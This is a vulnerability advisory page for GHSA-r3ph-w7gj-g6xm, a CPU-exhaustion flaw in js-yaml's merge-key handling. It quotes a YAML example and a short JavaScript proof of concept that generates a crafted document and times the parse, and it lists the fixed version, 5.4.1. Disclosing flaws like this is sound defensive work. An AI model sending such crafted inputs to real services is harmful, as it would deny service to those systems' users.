# GHSA-r3ph-w7gj-g6xm: js-yaml: maxTotalMergeKeys does not limit CPU use for empty merge sources

> An attacker can cause excessive CPU consumption in js-yaml by submitting crafted YAML with empty merge keys, bypassing resource limits.

- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Login needed:** Not needed
- **Attackable:** Over the internet
- **Victim action needed:** Not needed
- **Fix available:** Yes
- **Published:** 29 Sep 2026

## What is GHSA-r3ph-w7gj-g6xm?

GHSA-r3ph-w7gj-g6xm is a denial of service vulnerability in js-yaml, published on 29 Sep 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.

### Official description

## Summary

`maxTotalMergeKeys` does not count empty mappings. An attacker can repeatedly merge a large sequence of them and consume significant CPU without reaching the configured limit.

## Example

```yaml
arr: &arr [{}, {}, {}, ...] # N empty mappings
targets:
  - <<: *arr                # repeated K times
```

For every target, the loader iterates all `N` elements of `arr`. This results in `O(N * K)` work while `totalMergeKeys` remains unchanged.

## PoC

```js
import { performance } from 'node:perf_hooks'
import { load, YAML11_SCHEMA } from 'js-yaml'

const n = 20000

const src =
  'arr: &arr [' + '{},'.repeat(n).slice(0, -1) + ']\n' +
  'targets:\n' +
  '  - <<: *arr\n'.repeat(n)

const started = performance.now()

load(src, { schema: YAML11_SCHEMA })

console.log(`${(performance.now() - started).toFixed(1)} ms`)
```

Observed results:

| N | YAML size | Time |
|---:|---:|---:|
| 800 | ~13 KB | ~20 ms |
| 3200 | ~50 KB | ~180 ms |
| 20000 | ~500 KB | ~13 s |

## Impact

When merge keys are enabled, an attacker can submit a relatively small YAML document that causes prolonged CPU consumption despite the default `maxTotalMergeKeys` limit.

## Fix

Count every merge source mapping as one budget unit in addition to counting its keys.

## Which versions are affected by GHSA-r3ph-w7gj-g6xm?

2 open source packages ship an affected version, including js-yaml.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `js-yaml` | npm | From 5.0.0 | 5.4.1 |
| `js-yaml` | npm | From 5.0.0 | 5.4.1 |

## How do I fix GHSA-r3ph-w7gj-g6xm?

Upgrade js-yaml to 5.4.1 or later.

## Is GHSA-r3ph-w7gj-g6xm being exploited?

There is no known exploitation of GHSA-r3ph-w7gj-g6xm in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for GHSA-r3ph-w7gj-g6xm and fix it if it is affected.

What it is: GHSA-r3ph-w7gj-g6xm is a denial of service vulnerability in js-yaml, published on 29 Sep 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.
Exploitation: There is no known exploitation of GHSA-r3ph-w7gj-g6xm in the wild and no public exploit code.

Affected packages and fixed versions:
- js-yaml (npm): affected from 5.0.0; fixed in 5.4.1
- js-yaml (npm): affected from 5.0.0; fixed in 5.4.1

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/GHSA-r3ph-w7gj-g6xm/ (Markdown: https://insights.sbomify.com/GHSA-r3ph-w7gj-g6xm/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/GHSA-r3ph-w7gj-g6xm

---
From sbomify Insights: https://insights.sbomify.com/GHSA-r3ph-w7gj-g6xm/
Summaries are generated and may contain mistakes; the official description above is the record.